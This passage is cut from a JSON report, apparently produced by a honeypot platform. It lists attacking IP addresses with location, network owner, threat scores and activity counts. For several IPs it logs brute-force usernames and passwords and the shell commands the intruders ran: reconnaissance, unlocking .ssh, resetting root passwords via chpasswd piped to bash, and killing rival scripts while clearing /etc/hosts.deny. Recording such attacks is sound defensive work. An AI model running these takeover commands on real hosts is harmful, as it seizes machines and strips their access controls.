        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 24,
        "Cowrie": 2,
        "CitrixHoneypot": 1,
        "ConPot": 1
      }
    },
    "38.196.79.225": {
      "attack_count": 2,
      "first_seen": "2026-05-04T20:14:45.280Z",
      "last_seen": "2026-05-04T20:14:58.840Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Maracaibo",
      "asn": 271951,
      "as_org": "4 EVER PLUG,C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:14:45.280000+00:00",
        "last_seen_30d": "2026-05-04T20:16:02.972000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.226.29.164": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:02:44.608Z",
      "last_seen": "2026-05-11T03:02:57.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Resistencia",
      "asn": 265868,
      "as_org": "GETCOM SAS",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:02:44.608000+00:00",
        "last_seen_30d": "2026-05-11T03:04:01.913000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.228.115.40": {
      "attack_count": 2,
      "first_seen": "2026-05-03T08:32:43.089Z",
      "last_seen": "2026-05-03T08:32:56.016Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 133481,
      "as_org": "AIS Fibre",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:32:43.089000+00:00",
        "last_seen_30d": "2026-05-03T08:34:05.042000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.76.128.52": {
      "attack_count": 2,
      "first_seen": "2026-05-17T00:11:27.076Z",
      "last_seen": "2026-05-17T00:11:40.627Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuxi",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:11:27.076000+00:00",
        "last_seen_30d": "2026-05-17T00:12:45.648000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.248.176.214": {
      "attack_count": 2,
      "first_seen": "2026-05-07T19:25:19.274Z",
      "last_seen": "2026-05-07T19:25:32.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Hsinchu",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T19:25:19.274000+00:00",
        "last_seen_30d": "2026-05-07T19:26:42.301000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "79.181.173.221": {
      "attack_count": 2,
      "first_seen": "2026-05-19T21:33:23.299Z",
      "last_seen": "2026-05-19T21:33:36.186Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Rishon LeTsiyyon",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T21:33:23.299000+00:00",
        "last_seen_30d": "2026-05-19T21:34:44.927000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "82.172.190.32": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:10:26.481Z",
      "last_seen": "2026-05-03T03:10:57.066Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amersfoort",
      "asn": 13127,
      "as_org": "Odido Netherlands B.V.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:10:26.481000+00:00",
        "last_seen_30d": "2026-05-03T03:12:05.168000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.83.249.54": {
      "attack_count": 732,
      "first_seen": "2026-05-12T16:08:21.177Z",
      "last_seen": "2026-05-31T07:13:06.223Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "enter",
        "jflhi5za",
        "mani",
        "shrvn6xd",
        "user1",
        "adrian",
        "alex",
        "ec2-user",
        "eco",
        "git",
        "guest",
        "hadoopuser",
        "hosting",
        "issabel",
        "james",
        "jcon0r73",
        "joao",
        "joel"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "1",
        "123123",
        "linux123",
        "!@#QWEasd",
        "!Aa123456",
        "1111",
        "12!@qwQW",
        "123",
        "123321",
        "12345",
        "12345678",
        "123456789",
        "123456mm",
        "12345Qwerty",
        "123Qwe123C",
        "123qweasd",
        "1QAZxsw2"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"KZ+1E0C~_qz+E2wt64ko\\nv6Nw5j51NJHN\\nv6Nw5j51NJHN\\n\"|passwd",
        "echo \"drHsosw0iIPRMnLcZUwC\\nJsMJr7jFjhy9\\nJsMJr7jFjhy9\\n\"|passwd",
        "echo \"enter@123\\npHkEmojWjAIh\\npHkEmojWjAIh\\n\"|passwd",
        "echo \"mani123\\nW5xrwFGLSFRW\\nW5xrwFGLSFRW\\n\"|passwd",
        "echo \"root:NB9gumdw3oxz\"|chpasswd|bash",
        "echo \"root:RR3fHp34WcF9\"|chpasswd|bash",
        "echo -e \"KZ+1E0C~_qz+E2wt64ko\\nv6Nw5j51NJHN\\nv6Nw5j51NJHN\"|passwd|bash",
        "echo -e \"drHsosw0iIPRMnLcZUwC\\nJsMJr7jFjhy9\\nJsMJr7jFjhy9\"|passwd|bash",
        "echo -e \"enter@123\\npHkEmojWjAIh\\npHkEmojWjAIh\"|passwd|bash",
        "echo -e \"mani123\\nW5xrwFGLSFRW\\nW5xrwFGLSFRW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": "Burgas",
      "asn": 29580,
      "as_org": "A1 Bulgaria EAD",
      "threat_score": 58.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.6,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 904,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:08:21.177000+00:00",
        "last_seen_30d": "2026-05-31T07:14:15.860000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 732,
        "Suricata": 172
      }
    },
    "156.245.144.121": {
      "attack_count": 599,
      "first_seen": "2026-05-16T20:28:58.639Z",
      "last_seen": "2026-05-27T23:19:34.779Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "db2inst1",
        "dockeruser",
        "mika",
        "newuser",
        "support",
        "teamspeak",
        "test1",
        "ts3",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456789",
        "123456ll",
        "1234qwer",
        "1qaz2WSX",
        "20192019",
        "234",
        "Admin123",
        "CHINAIDC",
        "P455wOrd",
        "P@ssw0rd2024!",
        "Qwe123123",
        "Ss123321..",
        "admin",
        "carter",
        "db2inst1",
        "docker",
        "eversec123098"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Admin123\\nSipNNrvt1jql\\nSipNNrvt1jql\\n\"|passwd",
        "echo \"root:KaKwtkDY45Rj\"|chpasswd|bash",
        "echo \"root:bLaKi70HT4Wj\"|chpasswd|bash",
        "echo \"root:g2VITZ4EzjZV\"|chpasswd|bash",
        "echo \"root:lbILqwPBiQOF\"|chpasswd|bash",
        "echo \"root:qnp4KTgHA9jB\"|chpasswd|bash",
        "echo -e \"Admin123\\nSipNNrvt1jql\\nSipNNrvt1jql\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 54801,
      "as_org": "Zillion Network Inc.",
      "threat_score": 43.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 710,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T20:28:58.639000+00:00",
        "last_seen_30d": "2026-05-27T23:20:36.399000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 599,
        "Suricata": 111
      }
    },
    "58.47.104.74": {
      "attack_count": 460,
      "first_seen": "2026-05-19T18:05:33.626Z",
      "last_seen": "2026-05-20T18:10:44.640Z",
      "sessions": 230,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 26.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 707,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:05:33.626000+00:00",
        "last_seen_30d": "2026-05-20T18:11:54.713000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 460,
        "Suricata": 247
      }
    },
    "59.90.69.78": {
      "attack_count": 397,
      "first_seen": "2026-05-25T04:36:11.415Z",
      "last_seen": "2026-05-28T10:42:16.898Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "adminuser",
        "agent",
        "cloud",
        "curl",
        "ftpsecure",
        "ftpuser",
        "jenkins",
        "lfs",
        "sftptest",
        "staging",
        "tony",
        "ty",
        "ubuntu",
        "wfp",
        "wireguard",
        "work",
        "zenith"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "1234",
        "!Q@W3e4r",
        "123",
        "12345678aA",
        "12qw",
        "1Q2w3e4r5t6y",
        "P@SSW0RD",
        "P@ssw0rd",
        "Password",
        "QAZ123wsx456",
        "QWEasd123!",
        "Qwe@123456789",
        "Wangsu@2017",
        "aaAA11!!",
        "agent123!",
        "fjbdfdjkdsfs541544",
        "fjbdfdjkdsfs541544@@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:837z2ForUfvh\"|chpasswd|bash",
        "echo \"root:IPpxFqWHFSV9\"|chpasswd|bash",
        "echo \"root:h0lUivMYVltO\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 38.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 500,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:36:11.415000+00:00",
        "last_seen_30d": "2026-05-28T10:43:25.686000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 397,
        "Suricata": 103
      }
    },
    "40.112.183.29": {
      "attack_count": 363,
      "first_seen": "2026-05-09T05:24:39.070Z",
      "last_seen": "2026-05-22T07:06:10.628Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin",
        "user",
        "345gs5662d34",
        "es",
        "newuser",
        "oracle",
        "debian",
        "den",
        "ecoserver",
        "frappe",
        "kafka",
        "labadmin",
        "mailtest",
        "manoj",
        "mysql",
        "nginxuser",
        "remote",
        "test"
      ],
      "passwords_attempted": [
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123456",
        "12345678",
        "123456780",
        "123456qwe",
        "12345abc",
        "1qaz@WSX3edc",
        "321cxz",
        "A123456",
        "Aaa123456",
        "Admin@2024",
        "P@ss1234",
        "P@ssw0rds",
        "Pass@2023",
        "PassW0rd",
        "Teste@123",
        "abc123!@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345\\n22aSu5mW9uT3\\n22aSu5mW9uT3\\n\"|passwd",
        "echo \"qwe123\\ngZs6kFFUrurw\\ngZs6kFFUrurw\\n\"|passwd",
        "echo -e \"12345\\n22aSu5mW9uT3\\n22aSu5mW9uT3\"|passwd|bash",
        "echo -e \"qwe123\\ngZs6kFFUrurw\\ngZs6kFFUrurw\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 35.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 11.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 483,
        "days_active_30d": 14,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T05:24:39.070000+00:00",
        "last_seen_30d": "2026-05-22T07:07:17.476000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 363,
        "Suricata": 120
      }
    },
    "186.13.24.118": {
      "attack_count": 350,
      "first_seen": "2026-05-21T23:21:46.838Z",
      "last_seen": "2026-05-22T00:29:07.470Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "carla",
        "portal",
        "vhserver",
        "dong",
        "postgres",
        "sammy",
        "scott",
        "soporte",
        "usuario1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "369369",
        "Admin123",
        "Erkan123",
        "Qaz123wsx",
        "Qwer123",
        "carla",
        "portal",
        "qazwsx@123",
        "qwert123!@#",
        "scott",
        "soporte2025",
        "t",
        "usuario1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nXXeKAMMLKszy\\nXXeKAMMLKszy\\n\"|passwd",
        "echo \"carla\\nLXQnCpMs3Oh1\\nLXQnCpMs3Oh1\\n\"|passwd",
        "echo \"portal\\nCV8NkDQUWcBU\\nCV8NkDQUWcBU\\n\"|passwd",
        "echo \"root:4zXotmNbMbRq\"|chpasswd|bash",
        "echo -e \"123456\\nXXeKAMMLKszy\\nXXeKAMMLKszy\"|passwd|bash",
        "echo -e \"carla\\nLXQnCpMs3Oh1\\nLXQnCpMs3Oh1\"|passwd|bash",
        "echo -e \"portal\\nCV8NkDQUWcBU\\nCV8NkDQUWcBU\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": null,
      "asn": 11664,
      "as_org": "Techtel LMDS Comunicaciones Interactivas S.A.",
      "threat_score": 27.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.1,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 406,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T23:21:46.838000+00:00",
        "last_seen_30d": "2026-05-22T00:30:15.004000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 350,
        "Suricata": 56
      }
    },
    "195.86.192.66": {
      "attack_count": 338,
      "first_seen": "2026-05-22T00:08:20.709Z",
      "last_seen": "2026-05-22T01:03:41.499Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "oracle",
        "bence",
        "habib",
        "student",
        "vpn",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123698745",
        "7777777",
        "Ls@123456",
        "P@ssw0rd",
        "Passw0rd@123",
        "Zk123456",
        "adminadmin",
        "bence",
        "habib"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\n2IiRznfxzUk5\\n2IiRznfxzUk5\\n\"|passwd",
        "echo \"root:L16RdLE6AxSQ\"|chpasswd|bash",
        "echo \"root:oScRp3Wi4K5t\"|chpasswd|bash",
        "echo \"root:qnuBGMDUuorD\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\n2IiRznfxzUk5\\n2IiRznfxzUk5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Kuala Lumpur",
      "asn": 984,
      "as_org": "OCTOPUS WEB SOLUTION INC",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 388,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T00:08:20.709000+00:00",
        "last_seen_30d": "2026-05-22T01:04:45.896000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 338,
        "Suricata": 50
      }
    },
    "210.57.208.23": {
      "attack_count": 328,
      "first_seen": "2026-05-22T04:49:06.850Z",
      "last_seen": "2026-05-24T04:10:09.839Z",
      "sessions": 164,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 38142,
      "as_org": "Universitas Airlangga",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.6,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 579,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:49:06.850000+00:00",
        "last_seen_30d": "2026-05-24T04:27:19.537000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 251
      }
    },
    "181.218.9.86": {
      "attack_count": 299,
      "first_seen": "2026-05-14T00:27:09.489Z",
      "last_seen": "2026-05-14T01:09:14.438Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12300",
        "4rfv5tgb",
        "Abc1234!",
        "P455w0RD",
        "art1234",
        "birdie",
        "bitch69",
        "ch@ng3m3",
        "e1ephant",
        "elastic123",
        "lablab",
        "marco123",
        "needforspeed",
        "pieter",
        "qaz2wsx",
        "sebastian1234",
        "w433iqoq",
        "warrior"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
